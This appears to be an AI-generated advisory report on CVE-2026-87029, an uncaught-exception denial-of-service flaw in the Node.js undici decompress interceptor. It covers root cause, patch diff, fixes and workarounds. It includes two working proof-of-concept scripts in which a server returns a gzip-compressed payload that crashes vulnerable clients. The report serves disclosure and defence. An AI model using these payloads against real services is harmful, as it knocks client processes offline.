CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-87029

CVE-2026-87029: Remote Denial of Service via Uncaught Exception in Node.js Undici Decompress Interceptor

Alon Barad
Alon Barad
Software Engineer

Oct 28, 2026·10 min read·2 visits

Executive Summary (TL;DR)

Undici versions 7.15.0–7.30.0 and 8.0.0–8.12.1 fail to catch synchronous exceptions thrown by downstream handlers inside asynchronous zlib decompression callbacks. A remote HTTP server can return a compressed payload that triggers a downstream throw (such as exceeding a configured size limit in the dump interceptor), causing an unhandled exception that crashes the Node.js process.

An uncaught exception vulnerability (CWE-248) exists in the Node.js HTTP/1.1 client library undici, affecting versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1. The flaw resides in the DecompressHandler interceptor (lib/interceptor/decompress.js), which processes compressed HTTP response streams using asynchronous Node.js zlib callbacks. When forwarding decompressed data chunks or stream completion events to downstream handlers, the interceptor fails to wrap the invocations of super.onResponseData() and super.onResponseEnd() in try...catch blocks. If a downstream interceptor or handler throws an exception during response processing—such as the built-in dump interceptor enforcing a maximum response size—the exception escapes the asynchronous zlib callback stack onto the top-level Node.js event loop, terminating the entire client process.

Vulnerability Overview

undici is the foundational HTTP/1.1 client library written from scratch for Node.js, powering both standalone high-throughput HTTP requests and the built-in fetch() implementation in the Node.js runtime. To support modular request and response processing, undici provides an interceptor pipeline architecture. Interceptors wrap request dispatchers and response handlers to implement cross-cutting capabilities such as automatic redirection, caching, response body dumping, and transparent content decompression.

In undici versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, the decompress interceptor (lib/interceptor/decompress.js) contains an uncaught exception vulnerability classified under CWE-248 (Uncaught Exception). When an HTTP response includes a Content-Encoding header (gzip, deflate, br, or zstd), DecompressHandler initializes a corresponding Node.js zlib stream to decompress the incoming byte stream before passing the resulting chunks to subsequent handlers in the interceptor chain.

While undici's core HTTP parsing engine wraps synchronous response handler callbacks in error-handling boundaries that convert thrown exceptions into isolated per-request failures, DecompressHandler invokes downstream handlers from inside asynchronous zlib stream event callbacks. Because these asynchronous invocations lack try...catch boundaries, any exception thrown by a downstream handler escapes directly to the Node.js event loop.

This architectural oversight creates an attack surface whenever a client composes the decompress interceptor with a downstream handler designed to throw exceptions upon encountering invalid states or boundary violations. Most notably, composing decompress with undici's built-in interceptors.dump({ maxSize }) allows a remote HTTP server to terminate the client's Node.js process by sending a small compressed payload that inflates past maxSize.

Root Cause Analysis

To understand the root cause of CVE-2026-87029, it is necessary to examine undici's interceptor contract and how DecoratorHandler subclasses interact with the core request lifecycle. In undici, response processing is driven by a state machine that invokes lifecycle methods on a handler object: onRequestStart, onResponseStart, onResponseData, onResponseTrailers, onResponseEnd, and onError. Interceptors extend DecoratorHandler to intercept these calls, perform transformation or validation, and delegate execution to the next handler via super.<method>().

In a standard synchronous pipeline without decompression, the core socket parser invokes handler.onResponseData(controller, chunk) directly within an execution frame guarded by undici's internal error convergence logic. If a downstream handler throws a synchronous exception—for example, interceptors.dump({ maxSize }) throwing an AbortError or RequestAbortedError when the accumulated byte count exceeds maxSize—the outer engine catches the exception, aborts the active transport, and transitions the request to an error state via onError.

The decompress interceptor breaks this synchronous call stack by introducing an asynchronous stream boundary. When DecompressHandler receives compressed chunks via its own onResponseData method, it writes them into a Node.js zlib decompression stream. The decompressed output is not returned synchronously; instead, zlib processes the data on worker threads or internal buffers and emits decompressed chunks asynchronously via stream callbacks (data events, drain loops, and end events).

Within DecompressHandler, the internal drain and completion methods invoke super.onResponseData(this.#controller, chunk) and super.onResponseEnd(this.#controller, this.#trailers) directly from these asynchronous zlib callbacks. Because the original synchronous stack frame that initiated the socket read has already unwound, undici's outer try...catch block is no longer on the call stack. Without a local try...catch block inside DecompressHandler, any exception thrown by super.onResponseData or super.onResponseEnd propagates unhandled to the top of the zlib callback stack, triggering an uncaughtException event that crashes the Node.js runtime.

Code Analysis

The vulnerability is located in lib/interceptor/decompress.js within the DecompressHandler class. Specifically, two execution paths lacked exception handling boundaries: the chunk drainage loop that forwards decompressed data (super.onResponseData) and the decompression completion handler (super.onResponseEnd).

In the vulnerable implementation, as decompressed buffers are drained from the internal queue, DecompressHandler updates this.#decompressedSize and immediately calls super.onResponseData(this.#controller, chunk). Similarly, when decompression finishes without stream errors, #onDecompressionEnd cleans up the decompressor instances and calls super.onResponseEnd(this.#controller, this.#trailers).

The official patch, committed in f851f315db1f2acce0ea668f88d9d0fa61c8420c (v8 branch) and cherry-picked to 63cba7712ca012b2603c6aeeb4c72d8692332cd0 (v7 branch), resolves the issue by enclosing both downstream delegations in try...catch blocks and routing caught exceptions to this.#fail(err):

--- a/lib/interceptor/decompress.js
+++ b/lib/interceptor/decompress.js
@@ -223,9 +223,14 @@ class DecompressHandler extends DecoratorHandler {
             this.#decompressedSize = decompressedSize
           }
 
-          const result = super.onResponseData(this.#controller, chunk)
-          if (result === false && !this.#controller.paused) {
-            this.#controller.pause()
+          // Wrap downstream data forwarding in try/catch to trap synchronous throws
+          // originating inside asynchronous zlib decompression callbacks.
+          try {
+            const result = super.onResponseData(this.#controller, chunk)
+            if (result === false && !this.#controller.paused) {
+              this.#controller.pause()
+            }
+          } catch (err) {
+            this.#fail(err)
+            return
           }
         }
       } while (this.#drainRequested && !this.#terminated && !this.#controller.paused)
@@ -242,9 +247,14 @@ class DecompressHandler extends DecoratorHandler {
       return
     }
 
-    this.#terminated = true
     this.#cleanupDecompressors()
-    super.onResponseEnd(this.#controller, this.#trailers)
+    // Wrap downstream completion callback to catch validation or state errors
+    // thrown at the end of the response lifecycle.
+    try {
+      super.onResponseEnd(this.#controller, this.#trailers)
+    } catch (err) {
+      this.#fail(err)
+      return
+    }
+    this.#terminated = true
   }
 
   #onDecompressionEnd () {

Notice also the subtle ordering change in the second hunk: this.#terminated = true was moved after the try...catch block around super.onResponseEnd(). In DecompressHandler, the #fail(err) helper checks if (this.#terminated) return before cleaning up resources and forwarding the error via this.#controller.abort(err) or super.onError(err). Had this.#terminated = true remained prior to super.onResponseEnd(), calling this.#fail(err) inside the catch block would have exited early, swallowing the exception and leaving the downstream request promise hanging indefinitely.

Fix Completeness Assessment

The fix is complete and directly addresses the root cause across all supported compression algorithms (gzip, deflate, brotli, and zstd) because all decompressor streams funnel through the same #drain and #onDecompressionEnd methods in DecompressHandler. By delegating caught errors to this.#fail(err) prior to setting this.#terminated = true, the patch restores undici's error-convergence invariant across the asynchronous stream boundary.

Exploitation

Exploiting CVE-2026-87029 requires a client application using a vulnerable version of undici (7.15.0–7.30.0 or 8.0.0–8.12.1) to communicate with an untrusted or compromised HTTP server, or to fetch attacker-controlled URLs (such as in webhook processors, web scrapers, or SSRF-exposed microservices). The client must configure its dispatcher pipeline to compose the decompress interceptor alongside a downstream interceptor or custom DecoratorHandler that throws an exception during onResponseData or onResponseEnd.

A notable aspect of this vulnerability is its asymmetric payload amplification via compression. When a developer configures interceptors.dump({ maxSize: 1024 }), the intent is to protect the client from memory exhaustion by aborting responses larger than 1 KB. However, when placed downstream of createDecompressInterceptor(), the dump interceptor measures the decompressed byte size rather than the compressed wire size. An attacker can send a highly compressible buffer—such as 2 MB of repeated 0x41 ('A') bytes compressed with gzip into approximately 2 KB on the wire—bypassing upstream network size limits while effortlessly exceeding maxSize upon decompression.

Proof of Concept 1: Process Crash via onResponseData (dump Interceptor)

The following reproduction script, derived from the upstream regression test suite in test/interceptors/decompress.js, demonstrates how a compressed response exceeding maxSize crashes the client process:

const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, interceptors } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
 
// 1. Attacker-controlled HTTP server returning a highly compressed payload
const server = createServer({ joinDuplicateHeaders: true }, (_req, res) => {
  // 2 MB of 0x41 compresses to a tiny wire payload (~2 KB)
  const body = gzipSync(Buffer.alloc(2 * 1024 * 1024, 0x41))
  res.writeHead(200, {
    'Content-Type': 'application/octet-stream',
    'Content-Encoding': 'gzip'
  })
  res.end(body)
})
 
server.listen(0, async () => {
  const port = server.address().port
 
  // 2. Vulnerable client pipeline composing decompress + dump({ maxSize })
  const client = new Client(`http://localhost:${port}`).compose(
    createDecompressInterceptor(),
    interceptors.dump({ maxSize: 1024 })
  )
 
  try {
    const response = await client.request({
      method: 'GET',
      path: '/'
    })
 
    // On vulnerable versions: throws inside zlib callback -> uncaughtException -> CRASH
    // On patched versions: cleanly rejects with AbortError
    await response.body.text()
  } catch (err) {
    console.log('Safely caught per-request error:', err.name)
  } finally {
    await client.close()
    server.close()
  }
})

Proof of Concept 2: Process Crash via onResponseEnd Custom Handler

A second attack vector exists when a downstream handler performs full-payload validation or trailer inspection in onResponseEnd and throws upon validation failure:

const { createServer } = require('node:http')
const { gzipSync } = require('node:zlib')
const { Client, DecoratorHandler } = require('undici')
const createDecompressInterceptor = require('undici/lib/interceptor/decompress')
 
const server = createServer((_req, res) => {
  res.writeHead(200, { 'Content-Encoding': 'gzip' })
  res.end(gzipSync(Buffer.from('untrusted response payload')))
})
 
server.listen(0, async () => {
  const port = server.address().port
 
  class CustomValidationHandler extends DecoratorHandler {
    onResponseEnd () {
      throw new Error('downstream onResponseEnd validation failed')
    }
  }
 
  const client = new Client(`http://localhost:${port}`).compose(
    createDecompressInterceptor(),
    (dispatch) => (opts, handler) => dispatch(opts, new CustomValidationHandler(handler))
  )
 
  try {
    const response = await client.request({ method: 'GET', path: '/' })
    await response.body.text()
  } catch (err) {
    console.log('Safely caught per-request error:', err.message)
  } finally {
    await client.close()
    server.close()
  }
})

Impact Assessment

The primary impact of CVE-2026-87029 is a high-severity loss of Availability (Denial of Service) for the affected Node.js client application. Because Node.js executes JavaScript on a single-threaded event loop, an unhandled exception escaping an asynchronous zlib callback immediately terminates the operating system process unless a global process.on('uncaughtException') handler is registered. In multi-tenant backend services, API gateways, or SSRF-capable proxy workers that use undici to fetch external resources, a single malicious HTTP response tears down the entire worker process, dropping all concurrent in-flight requests handled by that instance.

The vulnerability is assigned a CVSS v3.1 Base Score of 5.9 (Medium) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H:

  • Attack Vector (AV:N): Exploitable remotely over the network by any HTTP server to which the undici client connects.
  • Attack Complexity (AC:H): Exploitation depends on non-default client configuration; specifically, the application must explicitly compose the decompress interceptor with a throwing downstream handler such as interceptors.dump({ maxSize }).
  • Privileges Required (PR:N) & User Interaction (UI:N): No authentication or manual interaction is required once the client initiates an HTTP request to the target server.
  • Confidentiality (C:N) & Integrity (I:N): The flaw does not permit memory disclosure, cross-request data leakage, or unauthorized data modification.
  • Availability (A:H): Complete termination of the Node.js process.

From a threat intelligence perspective, CVE-2026-87029 carries an EPSS score of 0.00260 (0.26%), placing it in the 17.67th percentile. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no weaponized exploits in the wild have been observed.

Remediation

The OpenJS Foundation and the undici maintainers resolved CVE-2026-87029 in versions 7.30.1 (for the 7.x release line) and 8.12.2 (for the 8.x release line). All users and downstream framework maintainers depending on undici should upgrade to these patched releases or later.

# For applications tracking the 8.x release line
npm install undici@^8.12.2
 
# For applications tracking the 7.x release line
npm install undici@^7.30.1

> [!NOTE] > If undici is consumed transitively via another library or bundled inside a custom container image, inspect your dependency tree using npm ls undici and apply overrides in package.json if necessary to force resolution to >=7.30.1 <8.0.0 or >=8.12.2.

Workarounds

For environments where an immediate package upgrade cannot be deployed, apply the following architectural mitigations:

  1. Decouple decompress from Throwing Interceptors: Remove createDecompressInterceptor() from dispatcher pipelines that also include interceptors.dump({ maxSize }) or custom DecoratorHandler implementations that throw synchronous exceptions inside onResponseData or onResponseEnd.
  2. Enforce Size Limits at the Consumer Stream Layer: Instead of relying on interceptors.dump({ maxSize }) inside the interceptor pipeline, consume the response body stream iteratively at the application layer and abort the request using a standard AbortController when the byte budget is exceeded.
  3. Catch Exceptions Inside Custom Handlers: If your application implements custom DecoratorHandler subclasses downstream of decompress, wrap custom logic inside onResponseData and onResponseEnd in a try...catch block and invoke controller.abort(err) directly rather than throwing.

Official Patches

Node.js / OpenJS FoundationUndici v8.12.2 Release Notes
Node.js / OpenJS FoundationUndici v7.30.1 Release Notes
GitHub Security AdvisoryOfficial GitHub Security Advisory GHSA-55wc-3pg8-jfw6

Fix Analysis (2)

Technical Appendix

CVSS Score
5.9/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.26%
Top 82% most exploited

Affected Systems

Node.js applications using undici 7.15.0 through 7.30.0Node.js applications using undici 8.0.0 through 8.12.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
undici
Node.js / OpenJS Foundation
>= 7.15.0, < 7.30.17.30.1
undici
Node.js / OpenJS Foundation
>= 8.0.0, < 8.12.28.12.2
AttributeDetail
CVE / Advisory IDCVE-2026-87029 / GHSA-55wc-3pg8-jfw6
Weakness ClassCWE-248 (Uncaught Exception)
Affected Componentundici DecompressHandler (lib/interceptor/decompress.js)
CVSS v3.1 Score5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.26% (17.67th Percentile)
Primary ImpactRemote Denial of Service (Node.js Process Crash)
Exploit StatusProof-of-Concept (Upstream Regression Tests)
Patched Versionsundici 7.30.1 and 8.12.2

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application or System Exploitation
Impact
CWE-248
Uncaught Exception

An exception is thrown by an application or runtime component, but there is no corresponding handler to catch and process the exception. In Node.js, an uncaught exception triggers the uncaughtException event; if unhandled, the process aborts immediately.

Known Exploits & Detection

GitHubOfficial upstream fix commit containing authoritative reproduction tests in test/interceptors/decompress.js

Vulnerability Timeline

Fix commit f851f315db1f2acce0ea668f88d9d0fa61c8420c authored on v8 branch and cherry-picked to v7 branch as 63cba7712ca012b2603c6aeeb4c72d8692332cd0
2026-10-14
Patched versions undici 8.12.2 and 7.30.1 released; GHSA-55wc-3pg8-jfw6 and CVE-2026-87029 published
2026-10-15
CVE.org record updated with reporter credits and technical description
2026-10-16
NVD vulnerability analysis and CVSS v3.1 scoring completed
2026-10-19

References & Sources

  • [1]GitHub Security Advisory: GHSA-55wc-3pg8-jfw6
  • [2]Undici v8 Fix Commit (f851f315db1f2acce0ea668f88d9d0fa61c8420c)
  • [3]Undici v7 Fix Commit (63cba7712ca012b2603c6aeeb4c72d8692332cd0)
  • [4]Undici v8.12.2 Release
  • [5]Undici v7.30.1 Release
  • [6]National Vulnerability Database: CVE-2026-87029
  • [7]CVE.org Record: CVE-2026-87029
  • [8]OSV Database Entry: GHSA-55wc-3pg8-jfw6
  • [9]OpenJS Foundation CNA Security Advisories
  • [10]Red Hat Customer Portal: CVE-2026-87029
  • [11]Red Hat Bugzilla: Bug 2553726
  • [12]CVEListV5 Official JSON Record: CVE-2026-87029

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•GHSA-F897-62HF-6GXQ
7.5

GHSA-f897-62hf-6gxq: Unbounded Request Body and JSON-RPC Batch DoS in Model Context Protocol TypeScript SDK

The Model Context Protocol (MCP) TypeScript SDK contains an uncontrolled resource consumption vulnerability in its HTTP server transport implementations and middleware adapters. Affected versions fail to enforce upper bounds on incoming HTTP POST request body sizes and JSON-RPC 2.0 batch array lengths. In addition, middleware wrappers for Express and Hono parse request bodies into memory prior to validating Host and Origin headers. Unauthenticated remote attackers can exploit these flaws to trigger Out-Of-Memory (OOM) process crashes or monopolize the single-threaded Node.js event loop.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 4 hours ago•CVE-2026-109932
5.9

CVE-2026-109932: Unbounded Memory Consumption via WebSocket PING Frame Flood in Node.js undici

An uncontrolled resource consumption vulnerability in the WebSocket client implementation of Node.js undici allows a remote WebSocket server to trigger an out-of-memory (OOM) crash in the client process. The vulnerability stems from the failure of the incoming frame parser (ByteParser) to respect socket write backpressure when automatically emitting PONG responses to incoming PING control frames. By continuously streaming small 2-byte PING frames while refusing to read from the TCP connection, a malicious server forces the client to queue outbound PONG frames in the V8 heap without bound.

Alon Barad
Alon Barad
2 views•10 min read
•about 5 hours ago•CVE-2026-87018
7.5

CVE-2026-87018: Denial of Service via TLS 1.2 Renegotiation in Node.js Undici

CVE-2026-87018 (GHSA-qrxm-fqhp-jwvm) is a high-severity Denial of Service (DoS) vulnerability in undici, the default HTTP/1.1 and HTTP/2 client for Node.js that backs the global fetch() implementation. The flaw stems from reachable assertions in undici's socket and session error handlers, which assume that TLS hostname verification errors (ERR_TLS_CERT_ALTNAME_INVALID) cannot occur after the initial connection establishment. By initiating a post-handshake TLS 1.2 renegotiation and presenting a certificate with a mismatched Subject Alternative Name (SAN), a remote HTTPS server can trigger this assertion and terminate the entire Node.js runtime process via an uncaught AssertionError.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 6 hours ago•CVE-2026-116682
8.6

CVE-2026-116682: Arbitrary File Read via Improper Symlink Resolution in FileBrowser Quantum

FileBrowser Quantum prior to versions 1.5.2-stable and 2.0.1-beta contains an improper link resolution vulnerability (CWE-59) in its file indexing and retrieval subsystems. When processing file read, download, preview, media streaming, OnlyOffice integration, or public share requests, the application resolves symbolic links via Go's filepath.EvalSymlinks without verifying that the canonical target path remains within the configured source root and the user's assigned access scope. Consequently, authenticated users with read access or unauthenticated holders of public share links can read arbitrary server-accessible files outside their designated directory boundaries.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-116676
8.8

CVE-2026-116676: OS Command Injection via Terraform Workspace Parameter in Atlantis

CVE-2026-116676 (GHSA-rjh2-4xgw-p2hj) is an OS command injection vulnerability (CWE-78) in Atlantis, an open-source Go application that automates Terraform pull request workflows via webhooks. From version 0.4.0 prior to version 0.47.1, Atlantis constructed Terraform and Conftest commands by joining argument slices into a single space-separated string and passing them to a shell interpreter (`sh -c`). Because user-controlled workspace names from `atlantis.yaml`, pull request comments, HCL configurations, and API requests were insufficiently validated against shell metacharacters, an authenticated contributor eligible to trigger a Terraform plan can execute arbitrary commands under the Atlantis service account.

Amit Schendel
Amit Schendel
5 views•11 min read
•about 8 hours ago•CVE-2026-116679
5.4

CVE-2026-116679: Incorrect Authorization in m1k1o/neko Legacy WebRTC Input Handler

CVE-2026-116679 (GHSA-5cp7-fp4j-wwcv) is an incorrect authorization vulnerability (CWE-863) in m1k1o/neko, a self-hosted virtual browser running inside Docker via WebRTC. In versions from 3.0.0 prior to 3.1.5, a boolean logic inversion in the LegacyIsHost() method within server/internal/session/session.go causes the server to unconditionally grant host input privileges over the legacy WebRTC data channel when implicit hosting is enabled. Authenticated non-privileged room members can exploit this flaw to bypass room control locks and profile restrictions, allowing unauthorized injection of mouse and keyboard events into the shared virtual browser session.

Amit Schendel
Amit Schendel
3 views•8 min read